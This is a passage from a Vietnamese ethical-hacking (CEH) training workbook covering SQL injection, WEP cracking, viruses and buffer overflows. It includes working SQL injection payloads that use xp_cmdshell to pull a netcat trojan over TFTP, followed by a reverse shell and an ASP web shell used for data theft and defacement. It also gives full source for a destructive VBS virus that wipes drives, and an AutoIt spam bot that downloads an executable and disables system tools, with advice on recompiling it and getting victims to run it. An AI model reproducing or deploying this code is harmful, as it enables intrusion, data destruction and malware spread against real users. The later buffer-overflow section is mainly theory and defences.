Sau đây là 1 số đoạn mã để lấy thông tin về Server khi biết Server bị lỗi SQL. 1/lay ten Server name 'and 1=convert(int,@@servername)--sp_password 2/lay database name 'and 1=convert(int,db_name())--sp_password 3/kiem tra system user 'and 1=convert(int,system_user)--sp_password
VSIC Education Corporation Trang 95

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

4/'and 1=convert(int,@@version)--sp_password 5/Lay thong tin table userinfo ' having 1=1-- (xem table hien hanh) ' group by userinfo.username having 1=1-- (xem column tiep theo) Sau khi lấy thông tin về Server, Hacker thử upload lên Server trojan netcat bằng cách sử dụng gọi hàm shell trong SQL và tftp. Ta đánh vào form login câu lệnh sau(phải nhớ là máy client sử dụng TFTP Server): ';exec master..xp_cmdshell "tftp -i 192.168.1.44 get nc123.exe";-Câu lệnh này được thực thi ở hệ thống Server thông qua SQL, nó sẽ load nc123.exe từ TFTP Server 192.168.1.44. Ta kiểm tra trên TFTP Server file đã được gởi hay chưa.

Sau khi upload thành công trojan netcat, việc bây giờ là ta phải chạy nó và sử dụng telnet ngược ra bên ngoài. Vì lúc này chúng ta đang đứng sau Firewall nên không thể lắng nghe trên port vì client ở ngoài Firewall không thể connect vào được. Chạy lắng nghe ở phía Client

VSIC Education Corporation

Trang 96

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Telnet net ngược ra ngoài từ Server.

Và kết nối netcat được hình thành sau khi telnet ngược ra từ Server, lúc này chúng ta đã by pass được Firewall.

VSIC Education Corporation

Trang 97

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Sau khi kết nối được màn hình console của Window, ta tiếp tục upload thêm 1 trojan dưới dạng web thông qua TFTP.

Trojan web mà chúng ta sử dụng là zehir4.asp, đây là trojan khá nhiều tiện dụng. Từ trojan này ta có thể thực hiện dễ dàng việc xóa Database, việc download các file từ Server 2000 về máy của mình thông qua Port Web

VSIC Education Corporation

Trang 98

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Lấy database

Thay đổi hình nền của trang web(deface)

VSIC Education Corporation

Trang 99

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Tóm lại lỗi SQL Injection không những giúp Hacker có nhiều thông tin về table, column mà có thể cho phép Hacker sử dụng những lệnh thực thi hệ thống(trong 1 số trường hợp) và có thể upload trojan vào hệ thống Server.

VSIC Education Corporation

Trang 100

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 12:

WIRELESS HACKING
I/ Giới Thiệu Một số điểm yếu của mạng không dây Chuẩn IEEE 802.11 đưa ra một WEP (Wired Equivalent Privacy) để bảo vệ sự truyền phát không dây. WEP được sử dụng một chuỗi số 0 đối xứng để mã hóa các người dùng trong mạng không dây. 802.11 đưa ra các khóa WEP 64 bit nhưng được cung cấp thêm khóa WEP 128 bit. 802.11 không đưa ra các khóa được xắp xếp như thế nào. Một WEP bao gồm 2 phần: vector khởi tạo (IV) 24 bit và key mật. IV được phát trong plain text ở phần header của các gói 802.11. Tuy nhiên nó rất dễ bị “crack”. Vì vậy giải pháp tiếp theo là phải sử dụng các khóa WEP động mà có thể thay đổi một cách thường xuyên. Chuẩn 802.11 xác nhận các máy khách sử dụng khóa WEP. Tiếp sau đó chuẩn công nghiệp đã được đưa ra thông qua xác nhận 802.1x để bổ sung cho các thiếu xót của chuẩn 802.11 trước nó. Tuy nhiên gần đây, trường đại học Maryland đã minh chứng bằng tài liệu về sự cố của vấn đề bảo mật tiềm ẩn với giao thức 802.1x này. Giải pháp ngày nay là sử dụng sự xác nhận lẫn nhau để ngăn cản “ai đó ở giữa” tấn công và các khóa WEP động, các khóa này được xắp xếp một cách cẩn thận và các kênh mã hóa. Cả hai kỹ thuật này được hỗ trợ bởi giao thức (TLS: Transport Layer Security). Nổi bật hơn cả là việc khóa per-packet và kiểm tra tính toàn vẹn của message. Đây chính là chuẩn bảo mật 802.11i. II/ Thực hành bài Lab: Để thực hành bài lab Crack Wep key, chúng ta phải có Card mạng hỗ trợ việc thu các packet và gửi những gói de-authen ngược lại Access-point, đồng thời phiên bản Linux hay Window phải hỗ trợ việc kết nối đến driver của Card mạng wifi. Trong khuôn khổ thực hành bài Crack Wep key, do sử dụng Card Wifi không hổ trợ tính năng gởi gói de-authen, arp đến access point, tác giả cố gắng tạo ra traffic để có thể thu đủ packet sau đó tính toán ra được WEP key(việc tính toán phụ thuộc vào Packet nhận được từ Access-point). Trước tiên ta phải tải chương trình Crack từ http://www.aircrack-ng.org/, trong phần mềm này, ta sử dụng airdump để thu packet, aircrack để bẻ khóa WEP Key. Tiếp theo ta download driver cho Card mạng(không phải driver của chính hãng và driver được viết riêng), ở đây tác giả sử dụng Card Wifi NetGear WG511T. www.wildpackets.com/support/hardware/atheros30_driver. Đối với Cisco Aironet ta cũng download driver từ trang web này. Sau đó ta tiến hành cài đặt cho Card Wifi.

VSIC Education Corporation

Trang 101

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Tiếp theo ta sử dụng Airdump để thu packet từ Access Point.

Ta chọn loại Card là Atheros, Channel là 6 và output file là “hack.ivs”.

VSIC Education Corporation

Trang 102

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta giả lập traffic bằng cách chép 1 dữ liệu lớn chạy thông qua Access-Point. Đối với card mạng hỗ trợ ta hoàn toàn có thể chủ động việc này.

Và lúc này ta thấy số lượng packet nhận được từ card mạng wifi rất nhanh. Ta đợi khoảng 20 phút(đối với WEP key 64 bit) cho đến khi packet khoảng từ 200 000 đến 300 000 và sử dụng Airdump để lấy WEP key.

VSIC Education Corporation

Trang 103

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta có thể thấy được WEP đã được tìm thấy là Athen. Tương tự như vậy đối với WEP key 128 bit, nhưng thời gian chờ sẽ lâu hơn. WEP key 128 bit

VSIC Education Corporation

Trang 104

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 13:

VIRUS
I/ Giới thiệu: (tham khảo bài đọc thêm) II/ Thực hành Lab: Bài 1: Virus phá hủy dữ liệu máy Ta có thể viết dễ dàng 1 virus phá hủy máy bằng những hàm Format hay delete trong ngôn ngữ VBS như sau: msgbox"Error !" On Error Resume Next Set vip_xinh = Createobject("scripting.filesystemobject") vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs" Set vip_xinh2= CreateObject("WScript.Shell") vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %" On Error Resume Next Const vic = "D:\" Delvic Sub Delvic() Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile vic & "*.*", True fso.DeleteFolder vic & "*", True End Sub On Error Resume Next Const vic1 = "C:\windows\" Delvic1 Sub Delvic1() Dim fso1 Set fso1 = CreateObject("Scripting.FileSystemObject") fso1.DeleteFile vic1 & "*.*", True fso1.DeleteFolder vic1 & "*", True End Sub On Error Resume Next Const vic2 = "C:\"
VSIC Education Corporation Trang 105

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Delvic2 Sub Delvic2() Dim fso2 Set fso2 = CreateObject("Scripting.FileSystemObject") fso2.DeleteFile vic2 & "*.*", True fso2.DeleteFolder vic2 & "*", True End Sub On Error Resume Next Set treomay= CreateObject("WScript.Shell") Do treomay.run "notepad",false loop Ở đây ta thực hiện vòng lặp nhiều lần và xóa những thông tin trên ở C và D, các bạn có save đoạn Script này thành file vbs và sau đó chạy đoạn script này. Lúc này ta mở rất nhiều chương trình notepad.exe và máy sẽ bị lỗi.

VSIC Education Corporation

Trang 106

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta khởi động lại máy bằng cách sử dụng reset nhưng do thông tin ở C đã bị xóa nên máy tính sẽ không khởi động lại được, như vậy máy tính nhiểm virus đã bị phá hủy hoàn toàn. Bài 2: Virus gaixinh lây qua tin nhắn. Ta phân tích code được viết bằng AUTO IT như sau ; <AUT2EXE VERSION: 3.2.0.1> ; ---------------------------------------------------------------------------; <AUT2EXE INCLUDE-START: D:\AutoIT\Projects\Adware\DKC.au3> ; ---------------------------------------------------------------------------;-------------------------------------------; Tac Gia: Kevin Duong - KVD ; Phan Mem: DKC Bot ; Phien Ban: 1.1 ; Cong Dung: Quang cao Website thong qua Y!M ; Phat Hanh: 1-9-2006 ;-------------------------------------------; Thiet Lap #NoTrayIcon $website = "http://daokhuc.be" ; Lay Nhiem Vao He Thong If Not FileExists(@WindowsDir & "\taskmng.exe") Then InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1) Sleep(5000) EndIf ; Ghi Khoa Registry RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website) RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website)
VSIC Education Corporation Trang 107

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website) RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "Dao Khuc Community:: Chut gi de nho...") ; Danh Sach Tin Nhan Ngau Nhien Dim $tin[10] $tin[0] = "Nguoi ra di vi anh da mang lam lo hay tai vi anh day qua ngheo? Chang the trao ve em duoc nhu long em luon uoc mo, giac mo giau sang... " & $website & " " $tin[1] = "Ngay khong em anh day lam sao cho het ngay? Sang dem duong nhu chi co anh voi anh quay quang... " & $website & " " $tin[2] = "Om bau dau thuong, minh anh co don chon day. Ngay mai em ra di, chon giau bao ky niem... " & $website & " " $tin[3] = "Dem nay mua ngoai hien, mua oi dung roi them cho xot xa. Anh khong quay ve day, loi nao anh noi da quen... " & $website & " " $tin[4] = "Ngay mai thoi doi ta lia xa em con nho? That long anh muon ta nhin thay nhau, cho quen mau cau yeu thuong em voi anh hom nao... " & $website & " " $tin[5] = "Tra lai em niem vui khi duoc gan ben em, tra lai em loi yeu thuong em dem, tra lai em niem tin thang nam qua ta dap xay. Gio day chi la nhung ky niem buon... " & $website & "" $tin[6] = "Loi em noi cho tinh chung ta, nhu doan cuoi trong cuon phim buon. Nguoi da den nhu la giac mo roi ra di cho anh bat ngo... " & $website & " " $tin[7] = "Tha nguoi dung noi se yeu minh toi mai thoi thi gio day toi se vui hon. Gio nguoi lac loi buoc chan ve noi xa xoi, cay dang chi rieng minh toi... " & $website & " " $tin[8] = "Khoc cho nho thuong voi trong long, khoc cho noi sau nhe nhu khong. Bao nhieu yeu thuong nhung ngay qua da tan theo khoi may bay that xa... " & $website & " " $tin[9] = "Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan... Ve dau toi biet di ve dau? " & $website & " " ; Ham Thay Doi Status & Gui Tin Nhan While (1) sleep(60000) $tieude = WinGetTitle("Yahoo! Messenger", "") $kiemtra = WinExists ($tieude) If $kiemtra = 1 Then $ngaunhien = Random(0,9,1) ClipPut($tin[$ngaunhien]) BlockInput (1) WinActivate($tieude) Send("!m") Send("un")
VSIC Education Corporation Trang 108

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Send("^v {ENTER}{ENTER}") Send("^m") Send("{DOWN}") Send("^{SHIFTDOWN}{END}{SHIFTUP}") Send("{ENTER}") Send("^v {ENTER}") BlockInput (0) EndIf Sleep(1800000) WEnd ; ---------------------------------------------------------------------------; <AUT2EXE INCLUDE-END: D:\AutoIT\Projects\Adware\DKC.au3> ; ---------------------------------------------------------------------------Dựa vào đoạn code này, ta có thể edit lại theo ý của mình, sau đó sử dụng tool AutoIT để chuyển script này sang file.exe và thực thi.

Sau đó chạy file exe và login vào Yahoo để kiểm tra, ta thấy tin nhắn gởi rất nhiều, nếu như chúng ta set tham số sleep càng bé (khoảng 3000) thì lưu lượng gởi rất là nhanh và nhiều.

VSIC Education Corporation

Trang 109

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Để có thể lây được qua tin nhắn, chúng ta phải đính kèm virus vào website, hay bằng cách nào đó để máy nạn nhân chạy file exe vừa được tạo ra.

VSIC Education Corporation

Trang 110

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 14: BUFFER OVERFLOW
I/ Lý thuyết Trong các lĩnh vực an ninh máy tính và lập trình, một lỗi tràn bộ nhớ đệm hay gọi tắt là lỗi tràn bộ đệm là một lỗi lập trình có thể gây ra một ngoại lệ truy nhập bộ nhớ máy tính và chương trình bị kết thúc, hoặc khi người dùng có ý phá hoại, họ có thể lợi dụng lỗi này để phá vỡ an ninh hệ thống. Lỗi tràn bộ đệm là một điều kiện bất thường khi một tiến trình lưu dữ liệu vượt ra ngoài biên của một bộ nhớ đệm có chiều dài cố định. Kết quả là dữ liệu đó sẽ đè lên các vị trí bộ nhớ liền kề. Dữ liệu bị ghi đè có thể bao gồm các bộ nhớ đệm khác, các biến và dữ liệu điều khiển luồng chạy của chương trình (program flow control). Các lỗi tràn bộ đệm có thể làm cho một tiến trình đổ vỡ hoặc cho ra các kết quả sai. Các lỗi này có thể được kích hoạt bởi các dữ liệu vào được thiết kế đặc biệt để thực thi các đoạn mã phá hoại hoặc để làm cho chương trình hoạt động một cách không như mong đợi. Bằng cách đó, các lỗi tràn bộ đệm gây ra nhiều lỗ hổng bảo mật (vulnerability) đối với phần mềm và tạo cơ sở cho nhiều thủ thuật khai thác (exploit). Việc kiểm tra biên (bounds checking) đầy đủ bởi lập trình viên hoặc trình biên dịch có thể ngăn chặn các lỗi tràn bộ đệm.

Mô tả kỹ thuật Một lỗi tràn bộ nhớ đệm xảy ra khi dữ liệu được viết vào một bộ nhớ đệm, mà do không kiểm tra biên đầy đủ nên đã ghi đè lên vùng bộ nhớ liền kề và làm hỏng các giá trị dữ liệu tại các địa chỉ bộ nhớ kề với vùng bộ nhớ đệm đó. Hiện tượng này hay xảy ra nhất khi sao chép một xâu ký tự từ một bộ nhớ đệm này sang một vùng bộ nhớ đệm khác. Ví dụ cơ bản Trong ví dụ sau, một chương trình đã định nghĩa hai phần tử dữ liệu kề nhau trong bộ nhớ: A là một bộ nhớ đệm xâu ký tự dài 8 bytes, và B là một số nguyên kích thước 2 byte. Ban đầu, A chỉ chứa toàn các byte giá trị 0, còn B chứa giá trị 3. Các ký tự có kích thước 1 byte.

Bây giờ, chương trình ghi một xâu ký tự "excessive" vào bộ đệm A, theo sau là một byte 0 để đánh dấu kết thúc xâu. Vì không kiểm tra độ dài xâu, nên xâu ký tự mới đã đè lên giá trị của B:

VSIC Education Corporation

Trang 111

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Tuy lập trình viên không có ý định sửa đổi B, nhưng giá trị của B đã bị thay thế bởi một số được tạo nên từ phần cuối của xâu ký tự. Trong ví dụ này, trên một hệ thống big-endian sử dụng mã ASCII, ký tự "e" và tiếp theo là một byte 0 sẽ trở thành số 25856. Nếu B là phần tử dữ liệu duy nhất còn lại trong số các biến được chương trình định nghĩa, việc viết một xâu ký tự dài hơn nữa và vượt quá phần cuối của B sẽ có thể gây ra một lỗi chẳng hạn như segmentation fault (lỗi phân đoạn) và tiến trình sẽ kết thúc. Tràn bộ nhớ đệm trên stack Bên cạch việc sửa đổi các biến không liên quan, hiện tượng tràn bộ đệm còn thường bị lợi dụng (khai thác) bởi tin tặc để làm cho một chương trình đang chạy thực thi một đoạn mã tùy ý được cung cấp. Các kỹ thuật để một tin tặc chiếm quyền điều khiển một tiến trình tùy theo vùng bộ nhớ mà bộ đệm được đặt tại đó. Ví dụ, vùng bộ nhớ stack, nơi dữ liệu có thể được tạm thời "đẩy" xuống "đỉnh" ngăn xếp (push), và sau đó được "nhấc ra" (pop) để đọc giá trị của biến. Thông thường, khi một hàm (function) bắt đầu thực thi, các phần tử dữ liệu tạm thời (các biến địa phương) được đẩy vào, và chương trình có thể truy nhập đến các dữ liệu này trong suốt thời gian chạy hàm đó. Không chỉ có hiện tượng tràn stack (stack overflow) mà còn có cả tràn heap (heap overflow). Trong ví dụ sau, "X" là dữ liệu đã từng nằm tại stack khi chương trình bắt đầu thực thi; sau đó chương trình gọi hàm "Y", hàm này đòi hỏi một lượng nhỏ bộ nhớ cho riêng mình; và sau đó "Y" gọi hàm "Z", "Z" đòi hỏi một bộ nhớ đệm lớn:

Nếu hàm "Z" gây tràn bộ nhớ đệm, nó có thể ghi đè dữ liệu thuộc về hàm Y hay chươngtrình chính:

Điều này đặc biệt nghiêm trọng đối với hầu hết các hệ thống. Ngoài các dữ liệu thường, bộ nhớ stack còn lưu giữ địa chỉ trả về, nghĩa là vị trí của phần chương trình đang chạy trước khi hàm hiện tại được gọi. Khi hàm kết thúc, vùng bộ nhớ tạm thời sẽ được lấy ra khỏi stack, và thực thi được trao lại cho địa chỉ trả về. Như vậy, nếu địa chỉ trả về đã bị ghi đè bởi một lỗi tràn bộ đệm, nó sẽ trỏ tới một vị trí nào đó khác. Trong trường hợp một hiện tượng tràn bộ đệm không có chủ ý như trong ví dụ đầu tiên, hầu như chắc chắn rằng vị trí đó sẽ là một vị trí không hợp lệ, không chứa một lệnh nào của chương trình, và tiến trình sẽ đổ vỡ. Tuy nhiên, một kẻ tấn công có thể chỉnh địa chỉ trả về để trỏ tới một vị trí tùy ý sao cho nó có thể làm tổn hại an hinh hệ thống. Mã nguồn ví dụ Mã nguồn C dưới đây thể hiện một lỗi lập trình thường gặp. Sau khi được biên dịch, chương
VSIC Education Corporation Trang 112

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

trình sẽ tạo ra một lỗi tràn bộ đệm nếu nó được gọi với một tham số dòng lệnh là một xâu ký tự quá dài, vì tham số này được dùng để ghi vào một bộ nhớ đệm mà không kiểm tra độ dài của nó.

************ /* overflow.c - demonstrates a buffer overflow */ #include #include int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf(stderr, "USAGE: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; } ************

Các xâu ký tự độ dài không quá 9 sẽ không gây tràn bộ đệm. Các xâu ký tự gồm từ 10 ký tự trở lên sẽ gây tràn bộ đệm: hiện tượng này luôn luôn là một lỗi sai nhưng không phải lúc nào cũng gây ra việc chương trình chạy sai hay gây lỗi segmentation faults Chương trình trên có thể được viết lại cho an toàn bằng cách sử dụng hàm strncpy như sau:

******** /* better.c - demonstrates one method of fixing the problem */
VSIC Education Corporation Trang 113

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

#include #include int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf(stderr, "USAGE: %s string\n", argv[0]); return 1; } strncpy(buffer, argv[1], sizeof(buffer)); buffer[sizeof(buffer) - 1] = '\0'; return 0; } ******* Khai thác

Có các kỹ thuật khác nhau cho việc khai thác lỗi tràn bộ nhớ đệm, tùy theo kiến trúc máy tính, hệ điều hành và vùng bộ nhớ. Ví dụ, khai thác tại heap (dùng cho các biến cấp phát động) rất khác với việc khai thác các biến tại stack. Khai thác lỗi tràn bộ đệm trên stack Một người dùng thạo kỹ thuật và có ý đồ xấu có thể khai thác các lỗi tràn bộ đệm trên stack để thao túng chương trình theo một trong các cách sau: Ghi đè một biến địa phương nằm gần bộ nhớ đệm trong stack để thay đổi hành vi của chương trình nhằm tạo thuận lợi cho kẻ tấn công.

Ghi đè địa chỉ trả về trong một khung stack (stack frame). Khi hàm trả về, thực thi sẽ được
VSIC Education Corporation Trang 114

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

tiếp tục tại địa chỉ mà kẻ tấn công đã chỉ rõ, thường là tại một bộ đệm chứa dữ liệu vào của người dùng. Nếu không biết địa chỉ của phần dữ liệu người dùng cung cấp, nhưng biết rằng địa chỉ của nó được lưu trong một thanh ghi, thì có thể ghi đè lên địa chỉ trả về một giá trị là địa chỉ của một opcode mà opcode này sẽ có tác dụng làm cho thực thi nhảy đến phần dữ liệu người dùng. Cụ thể, nếu địa chỉ đoạn mã độc hại muốn chạy được ghi trong một thanh ghi R, thì một lệnh nhảy đến vị trí chứa opcode cho một lệnh jump R, call R (hay một lệnh tương tự với hiệu ứng nhảy đến địa chi ghi trong R) sẽ làm cho đoạn mã trong phần dữ liệu người dùng được thực thi. Có thể tìm thấy địa chỉ của các opcode hay các byte thích hợp trong bộ nhớ tại các thư viện liên kết động (DLL) hay trong chính file thực thi. Tuy nhiên, địa chỉ của opcode đó thường không được chứa một ký tự null (hay byte 0) nào, và địa chỉ của các opcode này có thể khác nhau tùy theo các ứng dụng và các phiên bản của hệ điều hành.Dự án Metapoloit là một trong các cơ sở dữ liệu chứa các opcode thích hợp, tuy rằng trong đó chỉ liệt kê các opcode trong hệ điều hành Microsoft Windows. Khai thác lỗi tràn bộ đệm trên heap Một hiện tượng tràn bộ đệm xảy ra trong khu vực dữ liệu heap được gọi là một hiện tượng tràn heap và có thể khai thác được bằng các kỹ thuật khác với các lỗi tràn stack. Bộ nhớ heap được cấp phát động bởi các ứng dụng tại thời gian chạy và thường chứa dữ liệu của chương trình. Việc khai thác được thực hiện bằng cách phá dữ liệu này theo các cách đặc biệt để làm cho ứng dụng ghi đè lên các cấu trúc dữ liệu nội bộ chẳng hạn các con trỏ của danh sách liên kết. Lỗ hổng của Microsoft JPG GDI+là một ví dụ gần đây về sự nguy hiểm mà một lỗi tràn heap. Cản trở đối với các thủ thuật khai thác Việc xử lý bộ đệm trước khi đọc hay thực thi nó có thể làm thất bại các cố gắng khai thác lỗi tràn bộ đệm. Các xử lý này có thể giảm bớt mối đe dọa của việc khai thác lỗi, nhưng có thể không ngăn chặn được một cách tuyệt đối. Việc xử lý có thể bao gồm: chuyển từ chữ hoa thành chữ thường, loại bỏ các ký tự đặt biệt (metacharacters) và lọc các xâu không chứa ký tự là chữ số hoặc chữ cái. Tuy nhiên, có các kỹ thuật để tránh việc lọc và xử lý này; alphanumeric code (mã gồm toàn chữ và số), polymorphic code (mã đa hình), Self-modifying code (mã tự sửa đổi) và tấn công kiểu return-to-libc.. Cũng chính các phương pháp này có thể được dùng để tránh bị phát hiện bởi các hệ thống phát hiện thâm nhập (Intrusion detection system). Chống tràn bộ đệm Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên, loại bảo vệ này không thể áp dụng cho mã thừa kế (legacy code), và nhiều khi các ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng một ngôn ngữ không an toàn. Các mục sau đây mô tả các lựa chọn và cài đặt hiện có. Lựa chọn ngôn ngữ lập trình
VSIC Education Corporation Trang 115

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Lựa chọn về ngôn ngữ lập trình có thể có một ảnh hưởng lớn đối với sự xuất hiện của lỗi tràn bộ đệm. Năm 2006, C và C++ nằm trong số các ngôn ngữ lập trình thông dụng nhất, với một lượng khổng lồ các phần mềm đã được viết bằng hai ngôn ngữ này. C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập hoặc ghi đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp lệ; cụ thể, hai ngôn ngữ này không kiểm tra xem dữ liệu được ghi vào một mảng cài đặt của một bộ nhớ đệm) có nằm trong biên của mảng đó hay không. Tuy nhiên, cần lưu ý rằng các thư viện chuẩn của C++, thử viện khuôn mẫu chuẩn - STL, cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Cũng như đối với các tính năng bất kỳ khác của C hay C++, mỗi lập trình viên phải tự xác định lựa chọn xem họ có muốn chấp nhận các hạn chế về tốc độ chương trình để thu lại các lợi ích tiềm năng (độ an toàn của chương trình) hay không.

Một số biến thể của C, chẳng hạn Cyclone, giúp ngăn chặn hơn nữa các lỗi tràn bộ đệm bằng việc chẳng hạn như gắn thông tin về kích thước mảng với các mảng. Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng con trỏ và kiểm tra biên do người dùng xác định.

Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc kiểm tra này gửi một cảnh báo hoặc ngoại lệ khi C hoặc C++ ghi đè dữ liệu. Ví dụ về các ngôn ngữ này rất đa dạng, từ pythol tới Ada, từ Lisp tới Modula-2, và từ Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi kiểm tra biên đối với tất cả các mảng. Gần như tất cả các ngôn ngữ thông dịch sẽ bảo vệ chương trình trước các hiện tượng tràn bộ đệm bằng cách thông báo một trạng thái lỗi định rõ (well-defined error). Thông thường, khi một ngôn ngữ cung cấp đủ thông tin về kiểu để thực hiện kiểm tra biên, ngôn ngữ đó thường cho phép lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích tĩnh (static analysis) có thể loại được nhiều kiểm tra kiểu và biên động, nhưng các cài đặt tồi và các trường hợp rối rắm có thể giảm đáng kể hiệu năng. Các kỹ sư phần mềm phải cẩn thận cân nhắc giữa các phí tổn cho an toàn và hiệu năng khi quyết định sẽ sử dụng ngôn ngữ nào và cấu hình như thế nào cho trình biên dịch. Sử dụng các thư viện an toàn Vấn đề tràn bộ đệm thường gặp trong C và C++ vì các ngôn ngữ này để lộ các chi tiết biểu diễn mức thấp của các bộ nhớ đệm với vai trò các chỗ chứa cho các kiểu dữ liệu. Do đó, phải tránh tràn bộ đệm bằng cách gìn giữ tính đúng đắn cao cho các phần mã chương trình thực hiện việc quản lý bộ đệm. Việc sử dụng các thư viện được viết tốt và đã được kiểm thử, dành cho các kiểu dữ liệu trừu tượng mà các thư viện này thực hiện tự động việc quản lý bộ nhớ, trong đó có kiểm tra biên, có thể làm giảm sự xuất hiện và ảnh hưởng của các hiện tượng tràn bộ đệm. Trong các ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó các hiện tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ đệm tại các kiểu dữ liệu này có thể cung cấp phần chính của sự che chắn cần thiết. Dù vậy, việc sử dụng các thư viện an toàn một cách không đúng có thể dẫn đến tràn bộ đệm và một số lỗ hổng khác; và tất nhiên, một lỗi bất kỳ trong chính thư viện chính nó cũng là một lỗ hổng. Các cài đặt thư viện "an toàn" gồm The Better String Library, Arri Buffer API và Vstr. Thư viện C

VSIC Education Corporation

Trang 116

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

của hệ điều hành OpenBSD cung cấp các hàm hữu ích strlcpy strlcat nhưng các hàm này nhiều hạn chế hơn nhiều so với các cài đặt thư viện an toàn đầy đủ. Tháng 9 năm 2006, Báo cáo kỹ thuật số 24731 của hội đồng tiêu chuẩn C đã được công bố; báo cáo này mô tả một tập các hàm mới dựa trên các hàm vào ra dữ liệu và các hàm xử lý xâu ký tự của thư viện C chuẩn, các hàm mới này được bổ sung các tham số về kích thước bộ đệm. Chống tràn bộ nhớ đệm trên stack Stack-smashing protection là kỹ thuật được dùng để phát hiện các hiện tượng tràn bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi một hàm trả về. Nếu stack đã bị sửa đổ, chương trình kết thúc bằng một lỗi segmentation fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe, StackGuard và các bản vá lỗi (patch) Propolicy Chế độ Data Execution Prevention (cấm thực thi dữ liệu) của Microsoft bảo vệ thẳng các con trỏ tới SEH Exception Handler, không cho chúng bị ghi đè.

Có thể bảo vệ stack hơn nữa bằng cách phân tách stack thành hai phần, một phần dành cho dữ liệu và một phần cho các bước trả về của hàm. Sự phân chia này được dùng trong ngôn ngữ lập trình Forth, tuy nó không phải một quyết định thiết kế dựa theo tiêu chí an toàn. Nhưng dù sao thì đây cũng không phải một giải pháp hoàn chỉnh đối với vấn đề tràn bộ đệm, khi các dữ liệu nhạy cảm không phải địa chỉ trả về vẫn có thể bị ghi đè. Bảo vệ không gian thực thi

Bảo vệ không gian thực thi là một cách tiếp cận đối với việc chống tràn bộ đệm. Kỹ thuật này ngăn chặn việc thực thi mã tại stack hay heap. Một kẻ tấn công có thể sử dụng tràn bộ đệm để chèn một đoạn mã tùy ý vào bộ nhớ của một chương trình, nhưng với bảo vệ không gian thực thi, mọi cố gắng chạy đoạn mã đó sẽ gây ra một ngoại lệ (exception). Một số CPU hỗ trợ một tính năng có tên bit NX ("No eXecute" - "Không thực thi") hoặc bit XD ("eXecute Disabled" - "chế độ thực thi đã bị tắt" ). Khi kết hợp với phần mềm, các tính năng này có thể được dùng để đánh dấu các trang dữ liệu (chẳng hạn các trang chứa stack và heap) là đọc được nhưng không thực thi được.

Một số hệ điều hành Unix (chẳng hạn OpenBSD, Mac OS X) có kèm theo tính năng bảo vệ không gian thực thi. Một số gói phần mềm tùy chọn bao gồm: PaX Exec Shield Openwall

VSIC Education Corporation

Trang 117

